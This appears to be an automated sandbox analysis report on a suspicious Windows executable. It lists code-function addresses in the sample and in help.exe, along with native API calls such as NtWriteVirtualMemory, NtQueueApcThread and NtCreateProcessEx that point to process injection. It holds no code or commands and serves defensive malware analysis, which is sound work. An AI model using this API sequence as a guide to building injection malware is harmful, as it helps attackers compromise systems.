Windows Analysis Report
Jjfmcz1Hsz.exe

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0040488F	2_2_0040488F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_00406344	2_2_00406344
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03340D52	2_2_03340D52
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03329B30	2_2_03329B30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03342B3B	2_2_03342B3B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03321F2B	2_2_03321F2B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0332330F	2_2_0332330F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03345B7E	2_2_03345B7E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03329B4A	2_2_03329B4A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0332834D	2_2_0332834D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03321FA0	2_2_03321FA0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03321F99	2_2_03321F99
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03323383	2_2_03323383
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03341386	2_2_03341386
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03343E11	2_2_03343E11
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03322255	2_2_03322255
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03328A49	2_2_03328A49
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03321EB3	2_2_03321EB3
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03340EE5	2_2_03340EE5
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03342D2F	2_2_03342D2F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03325D03	2_2_03325D03
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0334250C	2_2_0334250C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03329D7C	2_2_03329D7C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0334557B	2_2_0334557B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0332C96A	2_2_0332C96A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0334415C	2_2_0334415C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0332899A	2_2_0332899A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03321DE4	2_2_03321DE4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03321DD7	2_2_03321DD7
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_033221D7	2_2_033221D7
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03322020	2_2_03322020
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0334342C	2_2_0334342C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03329C03	2_2_03329C03
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0332906B	2_2_0332906B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_033294BA	2_2_033294BA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03329892	2_2_03329892
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03327091	2_2_03327091
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03329C88	2_2_03329C88
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_033220FC	2_2_033220FC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D842DB0	11_2_1D842DB0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D839DD0	11_2_1D839DD0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82AD00	11_2_1D82AD00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EFD27	11_2_1D8EFD27
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E7D4C	11_2_1D8E7D4C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830D69	11_2_1D830D69
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8C9C98	11_2_1D8C9C98
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D848CDF	11_2_1D848CDF
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84FCE0	11_2_1D84FCE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8FACEB	11_2_1D8FACEB
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D820C12	11_2_1D820C12
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83AC20	11_2_1D83AC20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DEC4C	11_2_1D8DEC4C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E6C69	11_2_1D8E6C69
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EEC60	11_2_1D8EEC60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EEFBF	11_2_1D8EEFBF
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E1FC6	11_2_1D8E1FC6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83CF00	11_2_1D83CF00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EFF63	11_2_1D8EFF63
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E0EAD	11_2_1D8E0EAD
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E9ED2	11_2_1D8E9ED2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D822EE8	11_2_1D822EE8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D872E48	11_2_1D872E48
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D850E50	11_2_1D850E50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EE9A6	11_2_1D8EE9A6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8759C0	11_2_1D8759C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D846882	11_2_1D846882
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A98B2	11_2_1D8A98B2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E18DA	11_2_1D8E18DA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E78F3	11_2_1D8E78F3
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833800	11_2_1D833800
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85E810	11_2_1D85E810
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0835	11_2_1D8D0835
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D816868	11_2_1D816868
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D839870	11_2_1D839870
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84B870	11_2_1D84B870
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EF872	11_2_1D8EF872
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A4BC0	11_2_1D8A4BC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830B10	11_2_1D830B10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D86DB19	11_2_1D86DB19
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EFB2E	11_2_1D8EFB2E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EFA89	11_2_1D8EFA89
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84FAA0	11_2_1D84FAA0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8ECA13	11_2_1D8ECA13
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EEA5B	11_2_1D8EEA5B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EF5C9	11_2_1D8EF5C9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E75C6	11_2_1D8E75C6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8FA526	11_2_1D8FA526
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89D480	11_2_1D89D480
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830445	11_2_1D830445
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E6757	11_2_1D8E6757
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D832760	11_2_1D832760
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83A760	11_2_1D83A760
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830680	11_2_1D830680
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EA6C0	11_2_1D8EA6C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82C6E0	11_2_1D82C6E0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A36EC	11_2_1D8A36EC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EF6F6	11_2_1D8EF6F6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84C600	11_2_1D84C600
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CD62C	11_2_1D8CD62C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DD646	11_2_1D8DD646
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D854670	11_2_1D854670
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8351C0	11_2_1D8351C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84B1E0	11_2_1D84B1E0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F010E	11_2_1D8F010E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F113	11_2_1D81F113
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CD130	11_2_1D8CD130
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D87717A	11_2_1D87717A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D86508C	11_2_1D86508C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8200A0	11_2_1D8200A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83B0D0	11_2_1D83B0D0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E70F1	11_2_1D8E70F1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DE076	11_2_1D8DE076
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D821380	11_2_1D821380
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83E310	11_2_1D83E310
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8EF330	11_2_1D8EF330
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81D2EC	11_2_1D81D2EC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E124C	11_2_1D8E124C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_0167E057	11_2_0167E057
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_0168402D	11_2_0168402D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_016841D3	11_2_016841D3
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03941380	19_2_03941380
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0395E310	19_2_0395E310
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0F330	19_2_03A0F330
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0393D2EC	19_2_0393D2EC
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0124C	19_2_03A0124C
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039551C0	19_2_039551C0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0396B1E0	19_2_0396B1E0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0393F113	19_2_0393F113
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039ED130	19_2_039ED130
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A1010E	19_2_03A1010E
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0399717A	19_2_0399717A
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0398508C	19_2_0398508C
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039400A0	19_2_039400A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0395B0D0	19_2_0395B0D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A070F1	19_2_03A070F1
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039FE076	19_2_039FE076
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03952760	19_2_03952760
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0395A760	19_2_0395A760
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A06757	19_2_03A06757
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03950680	19_2_03950680
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0F6F6	19_2_03A0F6F6
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0A6C0	19_2_03A0A6C0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039C36EC	19_2_039C36EC
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0394C6E0	19_2_0394C6E0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0396C600	19_2_0396C600
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039ED62C	19_2_039ED62C
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039FD646	19_2_039FD646
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03974670	19_2_03974670
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A075C6	19_2_03A075C6
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0F5C9	19_2_03A0F5C9
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A1A526	19_2_03A1A526
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039BD480	19_2_039BD480
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03950445	19_2_03950445
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039C4BC0	19_2_039C4BC0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0398DB19	19_2_0398DB19
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03950B10	19_2_03950B10
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0FB2E	19_2_03A0FB2E
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0FA89	19_2_03A0FA89
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0396FAA0	19_2_0396FAA0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0CA13	19_2_03A0CA13
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0EA5B	19_2_03A0EA5B
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0E9A6	19_2_03A0E9A6
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0394E9A0	19_2_0394E9A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039959C0	19_2_039959C0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03966882	19_2_03966882
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039C98B2	19_2_039C98B2
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A078F3	19_2_03A078F3
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039528C0	19_2_039528C0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A018DA	19_2_03A018DA
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0397E810	19_2_0397E810
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03953800	19_2_03953800
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039F0835	19_2_039F0835
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0F872	19_2_03A0F872
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03959870	19_2_03959870
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0396B870	19_2_0396B870
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039C5870	19_2_039C5870
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03936868	19_2_03936868
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0EFBF	19_2_03A0EFBF
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A01FC6	19_2_03A01FC6
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03956FE0	19_2_03956FE0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0395CF00	19_2_0395CF00
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0FF63	19_2_03A0FF63
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A00EAD	19_2_03A00EAD
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03951EB2	19_2_03951EB2
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A09ED2	19_2_03A09ED2
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03942EE8	19_2_03942EE8
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03970E50	19_2_03970E50
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03992E48	19_2_03992E48
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039F0E6D	19_2_039F0E6D
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03962DB0	19_2_03962DB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03959DD0	19_2_03959DD0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039EFDF4	19_2_039EFDF4
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0FD27	19_2_03A0FD27
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0394AD00	19_2_0394AD00
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A07D4C	19_2_03A07D4C
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03950D69	19_2_03950D69
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039E9C98	19_2_039E9C98
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03968CDF	19_2_03968CDF
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A1ACEB	19_2_03A1ACEB
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039D7CE8	19_2_039D7CE8
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0396FCE0	19_2_0396FCE0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03940C12	19_2_03940C12
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_0395AC20	19_2_0395AC20
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A0EC60	19_2_03A0EC60
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03A06C69	19_2_03A06C69
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039FEC4C	19_2_039FEC4C
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03953C60	19_2_03953C60
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F3E740	19_2_02F3E740
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F38880	19_2_02F38880
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F50289	19_2_02F50289
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F5024C	19_2_02F5024C
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F51524	19_2_02F51524
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4FA46	19_2_02F4FA46
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4FA43	19_2_02F4FA43
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F50EAD	19_2_02F50EAD
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F32FB0	19_2_02F32FB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F50CC2	19_2_02F50CC2
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F50C29	19_2_02F50C29
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F32D90	19_2_02F32D90
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F32D87	19_2_02F32D87
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F39D10	19_2_02F39D10

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: String function: 1D8AEF10 appears 105 times
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: String function: 1D865050 appears 36 times
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: String function: 1D81B910 appears 266 times
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: String function: 1D89E692 appears 84 times
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: String function: 1D877BE4 appears 88 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 03997BE4 appears 96 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 0393B910 appears 268 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 039CEF10 appears 105 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 03985050 appears 36 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 039BE692 appears 86 times

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_033451F3 NtProtectVirtualMemory,	2_2_033451F3
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03346451 NtResumeThread,	2_2_03346451
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862DA0 NtReadVirtualMemory,LdrInitializeThunk,	11_2_1D862DA0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	11_2_1D862DC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862D10 NtQuerySystemInformation,LdrInitializeThunk,	11_2_1D862D10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862CF0 NtDelayExecution,LdrInitializeThunk,	11_2_1D862CF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862C30 NtMapViewOfSection,LdrInitializeThunk,	11_2_1D862C30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862C50 NtUnmapViewOfSection,LdrInitializeThunk,	11_2_1D862C50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862F00 NtCreateFile,LdrInitializeThunk,	11_2_1D862F00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862EB0 NtProtectVirtualMemory,LdrInitializeThunk,	11_2_1D862EB0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862ED0 NtResumeThread,LdrInitializeThunk,	11_2_1D862ED0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862E50 NtCreateSection,LdrInitializeThunk,	11_2_1D862E50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8629F0 NtReadFile,LdrInitializeThunk,	11_2_1D8629F0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862B90 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_1D862B90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862BC0 NtQueryInformationToken,LdrInitializeThunk,	11_2_1D862BC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862B10 NtAllocateVirtualMemory,LdrInitializeThunk,	11_2_1D862B10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8634E0 NtCreateMutant,LdrInitializeThunk,	11_2_1D8634E0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862D50 NtWriteVirtualMemory,	11_2_1D862D50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D863C90 NtOpenThread,	11_2_1D863C90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862CD0 NtEnumerateKey,	11_2_1D862CD0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862C10 NtOpenProcess,	11_2_1D862C10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862C20 NtSetInformationFile,	11_2_1D862C20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D863C30 NtOpenProcessToken,	11_2_1D863C30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862FB0 NtSetValueKey,	11_2_1D862FB0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862F30 NtOpenDirectoryObject,	11_2_1D862F30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862E80 NtCreateProcessEx,	11_2_1D862E80
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862EC0 NtQuerySection,	11_2_1D862EC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862E00 NtQueueApcThread,	11_2_1D862E00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8629D0 NtWaitForSingleObject,	11_2_1D8629D0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8638D0 NtGetContextThread,	11_2_1D8638D0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862B80 NtCreateKey,	11_2_1D862B80
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862BE0 NtQueryVirtualMemory,	11_2_1D862BE0
